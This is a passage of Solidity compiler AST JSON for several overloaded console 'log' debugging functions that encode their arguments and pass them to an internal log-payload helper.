nodeType":"Literal","src":"52701:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a73c1db639dbf1382c9113eacdf5b14a7ccd81fc001ac60393623936011bf49d","typeString":"literal_string \"log(bool,address,string,string)\""},"value":"log(bool,address,string,string)"},{"id":22026,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22013,"src":"52736:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22027,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22015,"src":"52740:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22028,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22017,"src":"52744:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22029,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22019,"src":"52748:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a73c1db639dbf1382c9113eacdf5b14a7ccd81fc001ac60393623936011bf49d","typeString":"literal_string \"log(bool,address,string,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":22023,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"52677:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22024,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"52681:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"52677:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22030,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52677:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22022,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"52661:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22031,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52661:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22032,"nodeType":"ExpressionStatement","src":"52661:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"52576:3:14","parameters":{"id":22020,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22013,"mutability":"mutable","name":"p0","nameLocation":"52585:2:14","nodeType":"VariableDeclaration","scope":22034,"src":"52580:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22012,"name":"bool","nodeType":"ElementaryTypeName","src":"52580:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22015,"mutability":"mutable","name":"p1","nameLocation":"52597:2:14","nodeType":"VariableDeclaration","scope":22034,"src":"52589:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22014,"name":"address","nodeType":"ElementaryTypeName","src":"52589:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22017,"mutability":"mutable","name":"p2","nameLocation":"52615:2:14","nodeType":"VariableDeclaration","scope":22034,"src":"52601:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22016,"name":"string","nodeType":"ElementaryTypeName","src":"52601:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22019,"mutability":"mutable","name":"p3","nameLocation":"52633:2:14","nodeType":"VariableDeclaration","scope":22034,"src":"52619:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22018,"name":"string","nodeType":"ElementaryTypeName","src":"52619:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"52579:57:14"},"returnParameters":{"id":22021,"nodeType":"ParameterList","parameters":[],"src":"52651:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22057,"nodeType":"FunctionDefinition","src":"52765:181:14","nodes":[],"body":{"id":22056,"nodeType":"Block","src":"52840:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c737472696e672c626f6f6c29","id":22048,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"52890:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e2bfd60b4f6acdab0603dda631b69bf37ab7cbf71bc5953f9ed72c1f2a76f7dc","typeString":"literal_string \"log(bool,address,string,bool)\""},"value":"log(bool,address,string,bool)"},{"id":22049,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22036,"src":"52923:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22050,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22038,"src":"52927:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22051,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22040,"src":"52931:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22052,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22042,"src":"52935:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e2bfd60b4f6acdab0603dda631b69bf37ab7cbf71bc5953f9ed72c1f2a76f7dc","typeString":"literal_string \"log(bool,address,string,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":22046,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"52866:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22047,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"52870:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"52866:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22053,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52866:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22045,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"52850:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22054,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52850:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22055,"nodeType":"ExpressionStatement","src":"52850:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"52774:3:14","parameters":{"id":22043,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22036,"mutability":"mutable","name":"p0","nameLocation":"52783:2:14","nodeType":"VariableDeclaration","scope":22057,"src":"52778:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22035,"name":"bool","nodeType":"ElementaryTypeName","src":"52778:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22038,"mutability":"mutable","name":"p1","nameLocation":"52795:2:14","nodeType":"VariableDeclaration","scope":22057,"src":"52787:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22037,"name":"address","nodeType":"ElementaryTypeName","src":"52787:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22040,"mutability":"mutable","name":"p2","nameLocation":"52813:2:14","nodeType":"VariableDeclaration","scope":22057,"src":"52799:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22039,"name":"string","nodeType":"ElementaryTypeName","src":"52799:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22042,"mutability":"mutable","name":"p3","nameLocation":"52822:2:14","nodeType":"VariableDeclaration","scope":22057,"src":"52817:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22041,"name":"bool","nodeType":"ElementaryTypeName","src":"52817:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"52777:48:14"},"returnParameters":{"id":22044,"nodeType":"ParameterList","parameters":[],"src":"52840:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22080,"nodeType":"FunctionDefinition","src":"52952:187:14","nodes":[],"body":{"id":22079,"nodeType":"Block","src":"53030:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c737472696e672c6164647265737329","id":22071,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"53080:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_6f7c603e9035cbc7959bb3d44ec862ddc6711eecebd67d54ceb0010f42f85654","typeString":"literal_string \"log(bool,address,string,address)\""},"value":"log(bool,address,string,address)"},{"id":22072,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22059,"src":"53116:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22073,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22061,"src":"53120:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22074,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22063,"src":"53124:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22075,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22065,"src":"53128:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6f7c603e9035cbc7959bb3d44ec862ddc6711eecebd67d54ceb0010f42f85654","typeString":"literal_string \"log(bool,address,string,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":22069,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"53056:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22070,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"53060:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"53056:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22076,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53056:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22068,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"53040:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22077,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53040:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22078,"nodeType":"ExpressionStatement","src":"53040:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"52961:3:14","parameters":{"id":22066,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22059,"mutability":"mutable","name":"p0","nameLocation":"52970:2:14","nodeType":"VariableDeclaration","scope":22080,"src":"52965:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22058,"name":"bool","nodeType":"ElementaryTypeName","src":"52965:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22061,"mutability":"mutable","name":"p1","nameLocation":"52982:2:14","nodeType":"VariableDeclaration","scope":22080,"src":"52974:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22060,"name":"address","nodeType":"ElementaryTypeName","src":"52974:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22063,"mutability":"mutable","name":"p2","nameLocation":"53000:2:14","nodeType":"VariableDeclaration","scope":22080,"src":"52986:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22062,"name":"string","nodeType":"ElementaryTypeName","src":"52986:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22065,"mutability":"mutable","name":"p3","nameLocation":"53012:2:14","nodeType":"VariableDeclaration","scope":22080,"src":"53004:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22064,"name":"address","nodeType":"ElementaryTypeName","src":"53004:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"52964:51:14"},"returnParameters":{"id":22067,"nodeType":"ParameterList","parameters":[],"src":"53030:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22103,"nodeType":"FunctionDefinition","src":"53145:170:14","nodes":[],"body":{"id":22102,"nodeType":"Block","src":"53211:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c626f6f6c2c75696e7429","id":22094,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"53261:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_4cb60fd1171fb665e1565124463601e5c451a362c8efbc6e1fcfbffbbb9850d9","typeString":"literal_string \"log(bool,address,bool,uint)\""},"value":"log(bool,address,bool,uint)"},{"id":22095,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22082,"src":"53292:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22096,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22084,"src":"53296:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22097,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22086,"src":"53300:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22098,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22088,"src":"53304:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4cb60fd1171fb665e1565124463601e5c451a362c8efbc6e1fcfbffbbb9850d9","typeString":"literal_string \"log(bool,address,bool,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":22092,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"53237:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22093,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"53241:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"53237:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22099,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53237:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22091,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"53221:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22100,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53221:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22101,"nodeType":"ExpressionStatement","src":"53221:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"53154:3:14","parameters":{"id":22089,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22082,"mutability":"mutable","name":"p0","nameLocation":"53163:2:14","nodeType":"VariableDeclaration","scope":22103,"src":"53158:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22081,"name":"bool","nodeType":"ElementaryTypeName","src":"53158:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22084,"mutability":"mutable","name":"p1","nameLocation":"53175:2:14","nodeType":"VariableDeclaration","scope":22103,"src":"53167:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22083,"name":"address","nodeType":"ElementaryTypeName","src":"53167:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22086,"mutability":"mutable","name":"p2","nameLocation":"53184:2:14","nodeType":"VariableDeclaration","scope":22103,"src":"53179:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22085,"name":"bool","nodeType":"ElementaryTypeName","src":"53179:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22088,"mutability":"mutable","name":"p3","nameLocation":"53193:2:14","nodeType":"VariableDeclaration","scope":22103,"src":"53188:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22087,"name":"uint","nodeType":"ElementaryTypeName","src":"53188:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"53157:39:14"},"returnParameters":{"id":22090,"nodeType":"ParameterList","parameters":[],"src":"53211:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22126,"nodeType":"FunctionDefinition","src":"53321:181:14","nodes":[],"body":{"id":22125,"nodeType":"Block","src":"53396:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c626f6f6c2c737472696e6729","id":22117,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"53446:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_4a66cb34796065525d301a5b87b440b55f1936e34dd66e2f2039307bc4e3ea59","typeString":"literal_string \"log(bool,address,bool,string)\""},"value":"log(bool,address,bool,string)"},{"id":22118,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22105,"src":"53479:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22119,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22107,"src":"53483:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22120,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22109,"src":"53487:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22121,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22111,"src":"53491:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4a66cb34796065525d301a5b87b440b55f1936e34dd66e2f2039307bc4e3ea59","typeString":"literal_string \"log(bool,address,bool,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":22115,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"53422:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22116,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"53426:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"53422:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22122,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53422:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22114,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"53406:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22123,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53406:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22124,"nodeType":"ExpressionStatement","src":"53406:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"53330:3:14","parameters":{"id":22112,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22105,"mutability":"mutable","name":"p0","nameLocation":"53339:2:14","nodeType":"VariableDeclaration","scope":22126,"src":"53334:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22104,"name":"bool","nodeType":"ElementaryTypeName","src":"53334:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22107,"mutability":"mutable","name":"p1","nameLocation":"53351:2:14","nodeType":"VariableDeclaration","scope":22126,"src":"53343:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22106,"name":"address","nodeType":"ElementaryTypeName","src":"53343:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22109,"mutability":"mutable","name":"p2","nameLocation":"53360:2:14","nodeType":"VariableDeclaration","scope":22126,"src":"53355:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22108,"name":"bool","nodeType":"ElementaryTypeName","src":"53355:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22111,"mutability":"mutable","name":"p3","nameLocation":"53378:2:14","nodeType":"VariableDeclaration","scope":22126,"src":"53364:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22110,"name":"string","nodeType":"ElementaryTypeName","src":"53364:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"53333:48:14"},"returnParameters":{"id":22113,"nodeType":"ParameterList","parameters":[],"src":"53396:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22149,"nodeType":"FunctionDefinition","src":"53508:170:14","nodes":[],"body":{"id":22148,"nodeType":"Block","src":"53574:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c626f6f6c2c626f6f6c29","id":22140,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"53624:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_6a9c478bc98300d44308882e2e0b5864f2536a2939cb77105f503738b5832577","typeString":"literal_string \"log(bool,address,bool,bool)\""},"value":"log(bool,address,bool,bool)"},{"id":22141,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22128,"src":"53655:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22142,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22130,"src":"53659:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22143,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22132,"src":"53663:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22144,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22134,"src":"53667:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6a9c478bc98300d44308882e2e0b5864f2536a2939cb77105f503738b5832577","typeString":"literal_string \"log(bool,address,bool,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":22138,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"53600:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22139,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"53604:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"53600:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22145,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53600:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22137,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"53584:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) 